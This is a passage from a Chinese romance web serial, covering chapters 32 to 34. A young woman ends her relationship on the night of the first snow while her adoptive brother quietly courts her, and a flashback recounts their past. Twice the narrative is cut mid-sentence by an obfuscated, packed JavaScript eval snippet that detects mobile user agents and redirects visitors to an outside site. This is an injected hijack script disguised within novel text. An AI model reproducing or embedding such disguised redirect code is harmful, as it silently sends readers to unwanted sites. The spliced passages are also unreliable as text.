“是啊。去主导一段感情,享受暧昧的快感,没意思了就换一个有意思的,为什么会不享受呢?所以说,哥哥,你就应该像我一样,去谈一场恋爱……” 主导…… 快感…… 她的声音落入耳朵,听上去像场虚幻的梦。 蒋冬至脑海中闪过那样多的画面,那些他看到的、她同她那些男友的相处,眼尾吊着笑的,若有似无的撩拨,风轻云淡地把捏着,直至不遑多让者低头认输、纯情羞涩者自乱阵脚。 余光里,是她从容的侧脸、微翘的唇角。 他分明发着烧,烧到额前沁了汗,烧到眼尾染了红,但神智比任何一秒钟都要清醒。门锁没有白坏,冷水澡没有白洗,这场自导自演的病也没有白生,起码他终于要到了自己想要的答案—— 她要的,原来是臣服。 是感情中的上位者、掌控人。 那凭什么他不行呢? 他分明是被缠在她网中最紧的那个,凭什么成为不了她的猎物? 32. 32 十二月,冷空气彻底降临,今年的第一次零下落地,随之而来的是忙碌。元旦过后就是期末周,还有各式各样的期末论文,短视频更新频率也不能落下,在这个快节奏的时代里,她不能成为那个被流动的时间淘汰的人。 于是,程拾醒同谈祝霄约会的时间都变少了。对方偶尔弹来视频通话时,她也总是在敲键盘,手机在震,瞥过一眼,挂断后回了句在忙便放下。 周三上午,程拾醒在教室寻了个空位坐下,拿出帆布包里的pad在边上给范茹画占了个位。 离上课还有十分钟。 Puhpowee:【你什么时候到?】 范茹画回得很快。 女娲神作:【马上马上,刚拿完快递,扫个共享单车,很快的。】 她发了个ok的手势过去,切了页面继续玩她的益智休闲小游戏。眼下空位还挺多,毕竟越是临近期末,踩点来的人便越多,稀稀拉拉,松松散散,通常唯有最后一节结课才能看见一堂课完整的人数,以一个暴增的、不可思议的、庞大的体积浩浩荡荡占据整间教室。 而范茹画就常是踩点到教室且偶尔选修必逃、必修选逃的那位。 有只手探入她的余光,将pad轻轻往边上推了推,程拾醒扫过手机屏幕上方的时间,讶然,离打铃还剩五分钟,范茹画来得还真是快。 “你自行车是踩出风火……”她开着玩笑抬起头,瞧见谈祝霄的那秒,剩下的半句话卡在喉间,神色淡下来些,“你怎么在这?” 她又将pad挪回去:“这里有人,范茹画待会儿会过来。” 他抿抿唇,绕到她另一边坐下,“我来陪你上课。” “你这个时间段不是自己有课吗?”程拾醒道,“你不是说自己不逃课的吗?” 谈祝霄寂了两秒。 “你不是最近忙吗?忙到都没空搭理我。所以我就只好过来找你了。”他半侧着身子,朝向她,膝盖轻轻抵在她的膝头,以一个亲昵的姿势,“我们待会儿一起去吃午饭吗?” 闻言,她浅蹙了下眉,很快的一下,马上便恢复了神色,耸肩,表情瞧上去稍显遗憾:“可惜,我跟范茹画约好了午饭。” “那我不可以跟你们一起去吗?” “我和闺蜜去吃饭,你跟着做什么?不觉得尴尬啊?” 他叹口气:“可我听网上都说,不能放女朋友跟闺蜜单独去吃饭,不然等女朋友回来就要闹分手了。” “你担心这个?”程拾醒挑眉,“你觉得别人能左右我的想法?” 谈祝霄急促地,带了些质问口吻地问:“所以她真说了我不好吗?” 她慢慢吞吞扭头看向他,盯着他略显慌张的表情,笑了,“她可从来没有跟我说过你半句不好。” 他慌乱地注视着她的眼睛,游离两下,很快默不作声地撇开了。 说曹操曹操到。 范茹画拎着个快递,脚踩着铃声喘着粗气跑进来,一屁股在她身侧坐下,把快递丢给她,便解围巾手套便道:“喏,你的圣诞节礼物。” 说完才注意到谈祝霄在这儿,搭在围巾上的手一顿,讶然“哎?”了声,欲言又止,飞速眨两下眼睛,扯扯边上程拾醒的衣角,示意她靠过来。 待人凑近了,范茹画才压低了音量,悄声问:“你不是说他这节有课吗?” “不知道。”旁光之中,身侧人的目光一直有意无意侧过来瞟着她,程拾醒手掌靠着唇,挡住唇部张合动作,同样用仅两个人可听见的嗓音,道,“中午我俩一起吃午饭。” “不包括谈祝霄?” 她小幅度摇了摇头。 范茹画的视线穿过她,在谈祝霄身上一点,对方正漫不经心抬着脸面朝讲台,视线有意无意地瞥着她俩,她移开目光落回程拾醒身上,也没问什么,只点头应下。 - 待下了课,范茹画揽着她随着人流往食堂走,回头张望,见谈祝霄早已和她们被人流冲开,才敢戳戳身侧的程拾醒,问:“怎么这几天都不见你和谈祝霄待一块儿?” 正午时分,阳光暖融融烘烤,程拾醒眯着眼,叹出的气在冷空气中化开,她道:“快期末了,忙着复习,哪有时间出去约会啊?” “所以腻了?” “有点烦了。”她低头,下巴尖埋进围巾,无奈,“他最近太粘人了。” 从狼人杀那天开始,谈祝霄就变得不对劲了,从恋爱初期即使也爱缠人,但她说忙时也乖乖地等着她空下来,到现在埋怨变多了,患得患失变多了,急躁变多了,于是那种若有若无的诘问也变多了。 而这样的次数多了,听着总难免令人厌烦。问他是不是心情不好,到底是要怎样,他又摇头不答。 更烦。 当一段关系不再能带给她愉悦感,那还有什么持续下去的意义呢? 范茹画:“那你打算和他分手吗?” 她想了想,“看情况,目前还没到时候。” 范茹画也从不管她的恋爱,就是问个情况。凛风一刮,手立即挽上她的胳膊,紧抱着羽绒服,哆哆嗦嗦往前走:“快快快,太冷了,去食堂吹空调。” 于是,两个人踏着风小跑起来。 食堂里挂在墙上的小电视机正播报着午间天气预报,女声端着最正统不过的播音腔念着词,夹杂在周围碗筷碰撞的乒里乓啷里,声音显得很轻。 二人正巧挑了个小电视旁的位置坐,范茹画一边嗦着面条一边有一耳朵没一耳朵地听着预报。 “哎。”她的耳朵精准捕捉到“下雪”这两个字,兴奋,“今晚说是要下雪哎!那不就是今年的初雪吗?” 程拾醒应了声:“怪不得今天那么冷。” “如果雪大的话,咱俩可以去堆雪人玩。” “太冷了,而且我今天有晚课。” 范茹画啊了下,想起来了:“那就祈祷明天雪不会变硬吧,明天说是出太阳,会暖和点,这样我俩明天去堆,正好没课。” “好啊。” _ 临到晚上,真的下雪了。 彼时,程拾醒刚下课,正收拾着包,听见有人惊呼才反应过来,扭头望去。 为了透气,窗户缝微微开了一点,风顺着那一条缝隙爬进来,摇晃窗帘。窗外是一片漆黑,隐隐约约能看到白色的星星点点从天际坠落。 手机上,是蒋冬至在问她带没带伞,她扣了个1,将装了pad的包往肩上一挎,跟在人群后头慢慢挪出了教室。 方一出,外头的风便往脸上使劲拍打,冻得要死。 她将手揣进口袋里,忽而感觉有人拎着她的包往边上拉了下,扭过头,程拾醒才看见蒋冬至正倚在教室门口的墙上。 鹅黄色的羽绒服,拉链拉上了顶,掩住下半张脸,发丝盖着眉骨,剩双漂亮的眼睛露在外面,内眼角细长下勾,卧蚕明显。 长腿微曲着,整个人看着像冬日里极具冷感的风被塞进了太阳里,透着股倦意,不知是已经在这等了多久了。 她有一瞬的惊讶:“你怎么在这?” “下雪了。” “我带伞了。”她边说着,边上下打量他。 不知抽什么疯,今天打扮那么年轻。 他嗯了声:“其实知道你会带,但还是担心你。” 话说得直白,她一愣:“……担心我?” “怎么了?担心你不是很正常的事情吗?”他从袖中伸出两根手指,勾过她的包,吐出言简意赅的两个字,“走了。” 程拾醒没说话,任由他褪去她肩上的包,旋过身子,却一眼望见走廊尽头的谈祝霄。 蒋冬至很明显也看见了,顿了半秒,“你男朋友过来找你了。” 她瞧着那道身影,说不出是什么心情,大抵是觉得有点烦。 不仅是因为谈祝霄的敏感粘人,还因为蒋冬至也在边上。 蒋冬至对他有偏见,她素来知道。而不知为何,他最近好像也总是很关注蒋冬至,在她面前有意无意地提蒋冬至的名字,然后默不作声地盯着她的反应。 这一切都令她感到无趣。 最后,程拾醒微不可闻地叹了口气:“……看见了。” 谈祝霄重重抿着唇,快走几步冲上来,拉住她的手臂,力道很大,五指陷进她软软的羽绒外套中,像正掐着朵云,“宝宝我有话想跟你说。” 她既没收回手,也没顺着他的力道被拽过去,稳稳站在那里,问:“什么事?” “我们单独聊。”他瞥了蒋冬至一眼,补充,“今天是初雪,初雪天就该和喜欢的人待在一起。” 身侧有人蓦地低头咳了两声,手指抵在唇边。 “抱歉。”察觉到两个人的目光都落过来,蒋冬至微笑,“前几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304994|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的病还没彻底好。” 随后,他侧过脸,朝向程拾醒:“需要我回避吗,醒醒?” 手臂上被施加的力道又加大了,程拾醒看向谈祝霄,开了口:“你先回车上等我吧。” “好。”他颔首,神色自然,擦过谈祝霄的肩,往门外走。 待过了拐角,他脚下稍停,垂首低眼,大拇指腹在食指侧边被掐出的那一道深深的指甲印上轻轻一抚,盯着,极轻讽笑了声,才继续抬腿,没撑伞,踏进大雪纷飞的世界。 另一边。 程拾醒问:“你要说什么?现在可以说了。” 谈祝霄摇摇头。 “我们去看初雪。” “外面太冷了。”她懒洋洋的,不是很想出去聊,“就在这里说好了。” 他不语,隔了几秒,才低声说:“我们一起看初雪,好不好?他们说,一起看初雪的情侣可以在一起很久很久的。” “就在这说。”外面是真的很冷,程拾醒不太高兴地皱了下鼻子,将他的五指从胳膊上卸下来,“哪来的迷信?我们之间能有多久又不是看不看雪就能决定的,那是我们决定的。” 谈祝霄又默了会儿,垂落在身侧的手慢慢慢慢握成拳,半晌,他抬起眼睛看向她,眼尾红红的,问:“你是不是骗我了?” “我骗你什么了?” “你和蒋冬至,根本没有血缘关系,是不是?” 她又皱眉,觉得好笑:“怎么又扯到蒋冬至了?这和他又有什么关……” 他打断她的话,盯着她的眼睛:“你说,是不是?” “……” 程拾醒不耐地闭了下眼睛,深呼了一口气。 “是。” 伴着这一个字落地,她看见谈祝霄苍白的唇动了下,眼睛睁大了,就像听见了什么不可思议的事情。 但他强忍着颤抖的嗓音,质问她:“你不让我叫你醒醒,为什么他可以?” “他是我哥。” “他又不是你亲哥!”谈祝霄大喊,嗓音在无人的长廊上回荡,“凭什么?你不觉得你们俩在没有血缘关系的情况下走得太近了吗?” 程拾醒觉得他莫名其妙:“我再说一遍,蒋冬至是我的家人,是我哥,和我们这段感情没有任何关系。” “哪里没有关系?我看处处都是关系。我早就该知道,从知道他姓蒋开始我就该知道的!”他逐渐变得激动起来,“程拾醒,你分明说过的,你跟我保证过的,你说你不会让第三个人插在我们中间的。可是那天我们一起出去,你就好像和他才是一对一样。是,他了解你,所以你们玩游戏可以那么默契,所以他可以叫你我不能叫的小名,所以只要他开口你就会跟他回去,甚至连我送你的花你都可以抛在宿舍里不管!你那么在意他,那么我算什么?” “所以,这就是你这段时间那么应激的原因?因为……我哥?”她冷静,“你这是在无理取闹。没有血缘关系又怎么样?那么多年,如果我要是会对他有意思,那么我们早就在一起过了。” “那他呢?你敢肯定,他就对你没有意思吗?” 窗外无声落雪,身前他在哽咽,声音越来越低:“程拾醒,我才是你的男朋友。我那么那么喜欢你,喜欢到哪怕你跟我说你要天上的月亮我都可以为你摘下来。我去想我们之间的未来,去想我们要一起去做很多很多事、去很多很多地方旅游,去想你会喜欢什么样的房子,去想我们的婚礼……” 程拾醒的面色彻底冷了下来,连着嗓音也沉下来:“你是不是忘了,开始恋爱前,我跟你是怎么说的?” 他一愣。 【我是个很容易喜欢上别人的人,不喜欢在感情里考虑什么未来,现在想做什么就做什么,也不想考虑什么后果。至于喜欢这件事能持续多久我也不知道……】 确定关系那天,她轻快的嗓音在他耳边荡啊荡,又像阵烟,飘散开。 谈祝霄喃喃辩驳:“可是你对我分明就和其他人不一样,你从来都不会带着他们到朋友面前,不会那么张扬地牵他们的手,你说你喜欢我,还对我说那么多甜言蜜语……” “不,你和他们没什么区别,都是我曾经喜欢过的人。”她打断。 他怔住,泪痕还挂在脸上:“什么意思?” 程拾醒直视他的眼睛,一字一顿—— “意思是,我们分手吧。” 33. 33 她向来来去自由,脸上都见不到什么悲伤的情绪,偏过点身子,错开他的肩,连视线都不再在他身上停留,只迈腿朝向远方,迈向走廊尽头。 就像他和她第一次见面,迎新晚会结束,她从舞台一跃而下,在众人拥围下,浅浅笑着,目不斜视地擦过他。他呆呆站在那儿,余光里尽是她,掌心紧紧握着手机,屏幕上是他的微信二维码。 如果他足够有勇气,或许会脚步匆匆拦到她面前,忐忑不安地说出那句“你好,可以认识一下吗”。如果他足够有勇气,或许会在酒吧那晚,学着她跳下舞台,在灯光昏暗摇曳中,紧张地告诉她“你好,我记得你”。如果他足够有勇气,会在贴手机膜的那天就告诉她“我喜欢你很久了”。 如果他足够有勇气的话……勇气换来的居然是冲动与结束。 【喜欢就谈,腻了就分,分手了就当从来没有认识过,如果对方分手后还来找我,真的挺没意思的……】 谈祝霄再一次抓住她,唇瓣蠕动两下,最后说:“外面下了大雪,我、我送你出去。” 他记得她总不爱带伞。 “不用了。”她道,“我本就有伞。” 他茫然松开手,终于确定了,她是真的不喜欢他了。 - 这场初雪下得很大。 夜空一片漆黑,像被覆上一层墨色帷幕,此刻天上的神仙把云撕碎了洒下来,于是大雪在纷飞,灯光被消融。 程拾醒撑着伞踏出教学楼,一眼就望见了停在门口打着光束的奔驰。 驾驶座的窗户被人摇下来,车内晦暗光线中,蒋冬至的轮廓模糊,只隐约瞧见他朝副驾扬了下下巴:“上车。” 她快走几步,收了伞坐进车内。 在关窗的前一秒,蒋冬至不经意地扫过教学楼门口。 空无一人。 空调已经启动一会儿了,比外头暖和太多,程拾醒将几乎快被冻僵的手指放在出风口搓了搓,总算有了知觉。 “聊完了?”蒋冬至问。 “嗯。” “不和你男朋友一起看初雪吗?” “不打算。” 他平平静静地说哦,驾着车缓缓驶出了校门,雨刮器持续运作,远处红绿灯闪烁。 隔了会儿,蒋冬至忽而哼笑了声。 红灯停,他踩下刹车,手肘撑在窗畔,指尖搭在唇上,再次笑了一声,闷闷的,抑制不住似的。 程拾醒忍不住偏头瞥他一眼,“有什么事吗?” “没什么。”他将手从窗边拿下,“只是突然觉得,真可惜。” “可惜什么?” “因为细细回想了下,好像几乎每年初雪,我们都在家。”蒋冬至道,“你谈那么多场恋爱,怎么也不陪人家出去看场初雪?” 她对他能说出这句话摸不着头脑:“你忘了吗?我怕冷。” 他嗯:“我也怕冷,待在家也挺好,透过窗也能看见下雪。” “你怕冷?”这大抵是个冷笑话,程拾醒闻言就差冷笑出声了。 “嗯,今年开始,突然怕了。” “……” 她不想同他吱声了。 最近蒋冬至变成了马丁。马丁每天早上起来总会不一样,他对她的态度没隔两天就变个样,而今天爱说点胡话,比起工作后更为严肃沉稳的他,更像大学那会儿的他。 穿了个嫩黄色,是不是还真以为自己变嫩了? 她抱胸坐在那,瞧着前面,不置一词。 “醒醒。”他突然叫她,却没看向她,手稳稳搭在方向盘上,唇瓣微勾,“不要觉得奇怪,毕竟人总是会变的。” 程拾醒稍一滞。 雪还在下,飘落在挡风玻璃上,化成水,又被雨刮器卷走。她的目光虚虚落在前面,不知为何,在这一秒,突然想起来谈祝霄方才同她争吵的那一句—— 【那他呢?你敢肯定,他就对你没有意思吗?】 又荒唐,又可笑。 在此之前,她从未想过,他们之间也许会存在除却兄妹以外的另一个可能性。她不可能同熟人恋爱,尤其是像蒋冬至这样,熟到同住一屋檐相伴多年的大熟人。 而他,他…… 而他讨厌她,又怎么会喜欢上她? _ 在高一那场他迟到的家长会后,蒋冬至牵着她的手回了家。就像小时候父母牵着她的手,一边一只,摇晃着,走在夕阳下,乐呵呵的,夸着她,夸她棒,问她今天想吃什么,爸爸妈妈都满足。 她说,我想吃番茄炖牛肉。 她扭头对着蒋冬至,重复,说:我想吃番茄炖牛肉。 蒋冬至先是愣了下,随后买了菜,真的给她做了。在此之前,家中吃什么,从来都是他说了算,压根没有她说话的余地。 程拾醒在餐桌上小口小口咀嚼着,牛肉咽入喉中。 不是这个味道,她想。 这个味道是属于蒋冬至的,是属于现在的,而不是回忆里的。 就在那一秒钟,她有点想哭,可是她忍住了。 她抬起头时,会看见蒋冬至的目光,温和的,落了月光般的。 那一秒钟,她释怀了。 于是她以为,蒋冬至也会像她那样释怀,他们会成为真正意义上关系要好、相依为命的家人,相互理解、相互喜爱、相互包容,即使他们之间依旧打打闹闹,相处从旧。 她又找到了家人,一个新的家人。所以她心中欢喜,嘴上“蒋冬至蒋冬至”这般没大没小趾高气昂地叫着,在同学面前“我哥我哥”骄傲地唤着。 谁说她哥不喜欢她了?她哥会给她□□吃的,会照顾她,会给她零花钱,会哄她吃很苦的药,陪她看他自己本不喜欢的电影,陪她期末熬夜,别人的哥哥会吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329220|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……直到那天,她站在他房间门口,端着盘水果,蓦然听见里头的电话声,属于他的声音不甚清晰地传出来,一如既往的清润,一字一字往她耳朵里钻。 他说:“你错了,我讨厌她,她就像个蚂蚱,不停地在我耳边跳、躁,还总是跟我吵架,爱跟我炫耀些乱七八糟有的没的……你又不是不知道,我讨厌蚂蚱,讨厌跟别人吵架,讨厌别人这样肆无忌惮地向我跑过来,打破我原本的平静。你应该知道的,她的身上有一切我讨厌的特质,我一直都不喜欢她……” 不知对面说了什么,他停下来,倏地沉默了。 而她呆站在门口,捏着盘子边缘的指尖紧紧的。 过了很久很久,她听见蒋冬至嗓音低低的:“……需要比喜欢更重要。” 那一刻,风驰雷掣之间,她突然明白了她对他来说意味着什么—— 一个正在陪伴他的人。 这个人是谁其实无所谓,以什么样的身份也无所谓,只不过是他一个人待在那间空无人烟的房间里的时间实在太久了,久到从她出现在他面前那一刻开始就注定好了,即使他讨厌她、抗拒她,也要尽力把她留在身边,就像沙漠里的求生者找到了一瓶过期很久的瓶装水,即使知道喝下后也许会拉肚子,却仍紧抱在怀里不敢丢弃,甚至旁人连碰一下都不愿。 岁月匆匆而过,他们在那么多年里找到了和彼此相处的平衡点,顶着兄妹的名义,渗透彼此的生活。时间就像藤蔓,生长出他们的依赖、占有欲望,让他们互相缠绕、交织、吸附…… 她以为磨合成功了,最初对彼此的厌恶也淡了,但就在那天,她站在门外,耳朵尝了一口藤蔓上的果实,居然是苦的。 程拾醒讨厌苦,讨厌自讨没趣,讨厌将就,讨厌世界上所有把两个人强行束缚在一起的关系,自以为亲密无间,实则往往总是那样难堪。 所以她也要讨厌他。 她和他可不一样,也许他怎么都能凑合,但她一定得要两个人都相悦才可以,这样的感情才不会痛苦。 所以就让陪伴什么的见鬼去吧,她要离开他。 那盘水果终究还是没能送到他的房间里,程拾醒连门都没有敲,转身就走。 而一门之隔,蒋冬至坐在床头,掌心紧扣着手机贴在耳畔。 那头远在国外的蒋父说:“你说你讨厌她,她也不喜欢你,可是当初明明是你自己提议说要照顾她的,不然她就跟着她大姨去其他城市上学了。” 他另一只手撑着床沿,脖颈微弯,盯着地面,碎发也垂下来,挡住眉眼。 窗外正是阳光明媚的时候,可屋内却怎么也照不亮。 “可她大姨对她不好,连她爱吃什么都不知道。”半晌,他喃喃,像是自言自语,“我只是想,我会做得更好,比起别人,也许她会更需要我。” 而需要比喜欢更重要。 34. 34 分手后的生活和平常并无两样。 程拾醒终于结束了令人头疼至极的期末,迎来假期。 范茹画订高铁票打算回临霞,临走前诱惑程拾醒:“你真的不回去吗?回去后我俩可以天天一块玩。” 她摇摇头。 范茹画再接再厉:“广吴不让燃放烟花,但临霞可以哦~” “算了,那么久没住人,真要回去,都不知道该怎么下手打扫。”程拾醒手搭在她的肩上,推着她向前,道,“你不是过完年就回来了吗?到时候我们俩再一起玩。” “好啊好啊。”范茹画欢喜应下,不住扭着头往回看她,“那这段时间你记得想我啊。” 她拖长了尾音:“知道了——” 今年新年来得早,岁末之际,街上已高挂红灯笼,不少店铺下拉卷帘门,加上冬季天寒地冻,外头人烟稀少,枯枝落叶被风卷起,扫过偶尔急驶而过的汽车,只留下一串轮胎摩擦沥青路面的尾声。 程拾醒打算拍摄一条新年专辑,奈何范茹画走了,微信上一问,先前有时帮忙的摄影师出差去了外地。于是,她只好重新在红音上寻找合作伙伴。 抱着手机寻了一天也没找到合适的,她头也疼,眼睛也疼,放下手机,闭了闭眼,洗完澡敷了个面膜,头上裹的干发帽都没拆,躺在沙发上,脑袋朝后靠着,闭目,脑中还过着那群摄影师的名字。 似问……不行,技术和风格虽说都到位,但人品不好的人合作起来会很麻烦。 给个柿子……什么都好,就是她所在区域离广吴太远了,无论谁过去过来都不方便。 蓝色幽灵……风格不合适,总喜欢走暗色系。 …… 耳中捕捉到渐近的拖鞋声,程拾醒阖上的眼微微睁开,还维持着姿势一动不动,睨着蒋冬至从房间里出来,由远及近。 见他张口,程拾醒率先一步出了声:“如果你是要说我穿着睡衣就不要坐在沙发上的话,可以别说了。” 脸上贴了面膜,开口都不便,声音听上去有些模糊。 蒋冬至垂着眼皮,无声瞧了她半天,问:“眼睛难受?” 她“嗯?”了声。 “你眨眼的频率很高。”他弯腰,双手撑在膝头,靠近她的脸。灯光之下,她脸上的精华闪着细碎的水光,表情被面膜封住,只下意识将脑袋抗拒似的又往后压了压。 他仔细观察了几秒她的眼睛,才继续说:“眼底还有红血丝。” 话音落下,他便直起了身子,后退一步,保持适当的距离,抱着胸站在那儿。 程拾醒再次用力眨了两下眼睛,又伸手揉了揉太阳穴。 “没事,手机看久了,待会儿滴个眼药水就好。” “是有什么事情吗?” “工作上的事。” “怎么?有人在网上故意为难你?” “不是。”她仰着脸躺在那里,自他退后之后,投在她身上的灰色影子被重新收回在他脚下,那种有人正落在她上方同她讲话的压迫警戒感也随之消失,她整个人松懈下来,疲倦紧接着涌上来,便下意识松口多说了句,“新年需要拍点素材,常合作的摄影师都没空,所以今天在找新的。” “那怎么不找我?” “……”程拾醒只觉荒谬,睫毛向上掀起,目光点在他身上,“你是摄影师吗,哥哥?” 跟她开玩笑吗不是? 蒋冬至眉梢微动,未答,抱胸的手松下。 她的视线随着他下蹲的动作慢慢往下移,瞧着他从茶几下拎出了瓶易拉罐,指尖扣在拉环处,轻轻一用力,啪嗒一声,易拉罐开了,他抿了口,却没起来,手指捏着罐身,维持着半蹲着身子的动作,自下朝上望着她,对上她低着眼睨来的视线。 他这才开口:“如果你需要,我可以学。” 她顿顿,目光温吞转走。 “没必要。” “如果你需要,不算没必要。”蒋冬至吐字平缓,“怎么?你不是很会教人吗?怕教不会我啊,博主?” 她立即问回去:“你现在是在做什么?” “在想有没有我能帮到你的地方。” “没有。”她否决,没看他,从沙发上站起来,撕掉面膜,从另一边绕出去,“我要回房间了。” 他在她身后扬声:“吹头发。” 她摸摸头上的干发帽:“……知道了。” 房门被人合上,发出轻微一声砰。蒋冬至瞧着,手肘搭在沙发边,指间的易拉罐口抵着唇,抬着下巴再次饮了一口,忽而低头一笑。 原来她还真吃这一套。 - 放假这几天,蒋冬至闲下来,倒还真跑来请教她摄影方面的问题,大有要学会这项技术做她摄影师的架势。 他进步确实神速,令程拾醒起了些心思。 但没过两天,她在平台上找到了合适的摄影师,从风格、城市、时间等各方面都合适的、专业的摄影师,网名叫复燃,真名是李自鑫。 还是乱佩佩介绍的。 对方也算是个小网红,玩互联网不太久,粉丝数两万左右,作品基本就是些街拍,程拾醒看过,还不错。 场地约在室外,广吴为数不多的古镇之一。说是古镇,实际上是砸大价钱仿建出的旅游基地,原先只是一条蜿蜒狭长的老街,几年过去,里头扩大了整整两倍。 怕当天人多,约了个六点见面,正好能拍日出。程拾醒起了个大早,消完面部浮肿后,补水、打底,为了突出新年氛围感,多用更为明艳大气的色彩,眼影嫩黄与红色渐变,细闪亮片点在眼头与薄薄的眼皮之上,拉长的酒红色眼线上格外细细勾勒一条白色短眼线以作延长,下至用刷子晕染淡红,爱心作泪痣缀在眼尾之下,重点是眼妆,轻腮红,红棕色调唇釉,点抹唇油。 换了身深红色毛绒长裙,带一点汉服元素,外套一件长款暗红色羽绒服,拎着包包,房门推开,直直撞进某个人怀里。 她吓了一跳,立即后退一步,偏头去瞧边上镜子里自己妆容的完整性,确认没被碰晕开后才松了口气,仰起脸,看向蒋 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“是挺困,但是洗漱完就能醒了。”蒋冬至打了声哈欠,靠近了她一步,困到仿佛要站不住,胳膊贴着她的肩,带点依靠的意思,“等等我,外面很冷,这里离地铁站要走一段距离,你穿这些过去,容易感冒。” “而且你起那么早化妆,不困吗?我送你过去,你还能在车上睡一会儿。”他娓娓道着好处,“我跟着你的话,拍摄期间,外套我好帮你拿着,等结束了再裹上……难道你现在不缺助理吗?拍摄完回来,还能顺便去趟超市,一起买点年货。还有……” “不用还有了。”程拾醒打断他,动了动手和肩膀,把他隔开点。 室内刚关闭的空调余温仍未散尽,穿着羽绒服太热,偏生蒋冬至身上体温高,像个温热的暖炉,贴着她的地方,尤其是皮肤相抵的手指,都有了点烫意。 “那你去洗漱吧。”她脱了羽绒服,抱在怀里,“我在沙发上坐会儿。” 他眼底飘过一丝笑意,直起脊背:“好,我很快,就十分钟,不会耽误你时间。” 说十分钟,真就是十分钟,一分不多一分不少。时间一到,他便穿戴整齐地站在她面前,从茶几上顺了袋面包,递给她当作早餐。 外头的世界天寒地冻,进了车内,坐垫都是凉的,车窗上结了清晨的露水。天还未亮,朦朦胧胧的,像裹了层雾,天际一线白,光隐隐渗出来一丝。 五点三十五,马路上都没什么车,显得整座城市难得的宽阔又空荡。两侧的高楼大厦灯光倒是亮起,被楼层隔成一个个小格子,像闪着光的五子棋盘,穿过薄薄雾气。 程拾醒在副驾上解开面包袋,担心会吃掉唇上的颜色,面包咬得小心翼翼,小口小口地咀嚼。 正专心致志吃着,忽而听见身侧开着车的人道:“我饿了。” “还剩三片。”她数了数面包片数,“够吃了。等待会儿到了……” “怎么办?我现在就想吃,太饿了。”啪嗒一声,他手指下扣转向灯,目视前方,神色淡然,唇瓣轻启,“喂我。” 知她脾气秉性,他又补充:“可以吗?”